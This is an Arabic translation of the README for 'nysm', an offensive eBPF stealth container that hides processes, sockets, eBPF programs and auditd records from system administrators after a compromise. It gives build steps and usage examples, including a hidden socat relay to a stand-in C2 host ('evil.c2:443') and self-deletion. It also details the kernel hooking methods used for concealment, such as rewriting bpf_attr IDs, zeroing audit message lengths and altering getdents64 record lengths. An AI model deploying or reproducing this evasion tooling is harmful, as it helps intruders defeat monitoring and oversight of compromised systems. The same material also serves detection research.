
حاوية خفية تعمل بتقنية eBPF تخفي العمليات والمقابس (sockets) وكائنات eBPF وسجلات التدقيق من أدوات مراقبة النظام، مما يتيح عمليات استغلال سرية بعد الاختراق.
حاوية تسلل خفية.
مع ازدياد شعبية الأدوات الهجومية القائمة على eBPF، من أدوات سرقة بيانات الاعتماد إلى rootkits التي تخفي معرفات عملياتها الخاصة، خطر سؤال على أذهاننا: هل سيكون من الممكن جعل eBPF غير مرئي في عيون نفسه؟ من هنا، أنشأنا nysm، حاوية eBPF خفية تهدف إلى جعل الأدوات الهجومية غير مرئية لأعين مسؤولي الأنظمة، ليس فقط عن طريق إخفاء eBPF، بل أكثر من ذلك بكثير:
كل هذه الأدوات تصبح عمياء تجاه ما يمر عبر nysm. فهو يخفي:
تحذير هذه الأداة هي مجرد عرض بسيط لقدرات eBPF. ليس المقصود منها أن تكون شاملة. ومع ذلك، فإن طلبات السحب (Pull Requests) مرحب بها للغاية.
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
nysm هو برنامج بسيط يتم تشغيله قبل الأمر المطلوب:
الاستخدام: nysm [خيار...] COMMAND
حاوية eBPF خفية.
-d, --detach تشغيل COMMAND في الخلفية
-r, --rm التدمير الذاتي بعد التنفيذ
-v, --verbose إخراج مفصل
-h, --help عرض هذه المساعدة
--usage عرض رسالة استخدام قصيرة
تشغيل bash مخفي:
./nysm bash
تشغيل ssh مخفي مع إزالة ./nysm:
./nysm -r ssh user@domain
تشغيل socat مخفي كخلفية وإزالة ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
نظرًا لأن eBPF لا يمكنه تجاوز القيم المُعادة أو عناوين النواة، فإن هدفنا هو العثور على أدنى مستوى استدعاء يتفاعل مع عنوان مساحة المستخدم لتجاوز قيمته وإخفاء الكائنات المطلوبة.
للتمييز بين أحداث nysm والأحداث الأخرى، يتم تشغيل كل شيء داخل مساحة اسم PID منفصلة.
لدى bpftool بعض الميزات التي يريد nysm تجنبها: bpftool prog list و bpftool map list و bpftool link list.
مثل أي برنامج eBPF، يستخدم bpftool استدعاء النظام bpf()، وبشكل أكثر تحديدًا مع أوامر BPF_PROG_GET_NEXT_ID و BPF_MAP_GET_NEXT_ID و BPF_LINK_GET_NEXT_ID. يتم تخزين نتيجة هذه الاستدعاءات في عنوان مساحة المستخدم المشار إليه بواسطة وسيطة attr.
لتجاوز uattr، يتم تعيين نقطة تتبع (tracepoint) عند دخول bpf() لتخزين العنوان المشار إليه في خريطة. بمجرد ذلك، ينتظر نقطة تتبع الخروج من bpf(). عندما يخرج bpf()، يمكن لـ nysm القراءة والكتابة من خلال بنية bpf_attr. بعد كل BPF_*_GET_NEXT_ID، يتم استبدال bpf_attr.start_id بـ bpf_attr.next_id.
لإخفاء معرفات محددة، يتحقق من bpf_attr.next_id ويستبدله بالمعرف التالي الذي لم يتم إنشاؤه في nysm.
يتم جمع معرفات البرامج والخرائط والروابط من security_bpf_prog()، و security_bpf_map()، و bpf_link_prime().
يتلقى Auditd سجلاته من recvfrom() التي تخزن رسائلها في مخزن مؤقت.
إذا تم إنشاء الرسالة المستلمة بواسطة عملية nysm من خلال audit_log_end()، فإنه يستبدل طول الرسالة في رأس nlmsghdr الخاص بها بـ 0.
إخفاء معرّفات العمليات باستخدام eBPF ليس جديدًا. يخفي nysm معرّفات alloc_pid() الجديدة من getdents64() في /proc عن طريق تغيير طول السجل السابق.
نظرًا لأن getdents64() يتطلب التكرار عبر جميع ملفاته، فمن السهل الوصول إلى حد تعليمات eBPF. لذلك، يستخدم nysm استدعاءات الذيل (tail calls) قبل الوصول إليه.
إخفاء المقابس هو تعبير كبير. في الواقع، المقابس المفتوحة مخفية بالفعل عن العديد من الأدوات لأنها لا تستطيع العثور على العملية في /proc. ومع ذلك، يستخدم ss socket() مع علامة NETLINK_SOCK_DIAG التي تُرجع جميع المقابس المفتوحة حاليًا. بعد ذلك، يتلقى ss النتيجة عبر recvmsg() في مخزن مؤقت للرسالة والقيمة المُعادة هي طول كل هذه الرسائل مجتمعة.
هنا، يتم تطبيق نفس طريقة إخفاء معرّفات العمليات: يتم تعديل طول الرسالة السابقة لإخفاء مقابس nysm.
يتم جمع هذه المقابس من استدعاءات connect() و bind().
حتى مع بذل أقصى جهد، لا يزال لدى nysm بعض القيود.
كل أداة لا تغلق واصفات الملفات الخاصة بها ستكتشف عمليات nysm التي تم إنشاؤها أثناء فتحها. على سبيل المثال، إذا تم تشغيل ./nysm bash قبل تشغيل top، فلن تظهر العمليات. ولكن، إذا تم إنشاء عملية أخرى من مثيل bash هذا أثناء تشغيل top، فسيتم اكتشاف العملية الجديدة. تحدث نفس المشكلة مع المقابس والأدوات مثل nethogs.
سجلات النواة: dmesg و /var/log/kern.log، ستظهر الرسالة nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! عدة مرات بسبب مدقق eBPF (verifier) عند تشغيل nysm.
العديد من الآثار المكتوبة في الملفات تُترك لأن ربط read() و write() سيكون ثقيلًا جدًا (لكنه لا يزال ممكنًا). على سبيل المثال /proc/net/tcp أو /sys/kernel/debug/tracing/enabled_functions.
إخفاء recvmsg الخاص بـ يمكن أن يكون صعبًا حيث يمكن أن يظهر مقبس جديد في بداية المخزن المؤقت، ولا يستطيع nysm إخفائه بسجل سابق . قد يكون الإصلاح السريع هو تبديل المكان بين المقبس الأول والمقبس الشرعي التالي، ولكن ماذا لو كان المقبس في المخزن المؤقت بمفرده؟ لذلك، يقوم nysm بتعديل معلومات المقبس الأولى بقيم مُبرمجة (hardcoded).
بالطبع، العديد من هذه القيود يجب أن يكون لها حلولها الخاصة. مرة أخرى، طلبات السحب (Pull Requests) مرحب بها للغاية.
ssيجب تجنب تشغيل bpf() مع أي نوع من علامات BPF_*_GET_NEXT_ID من عملية تابعة لـ nysm لأن ذلك سيخفي جميع كائنات eBPF غير التابعة لـ nysm.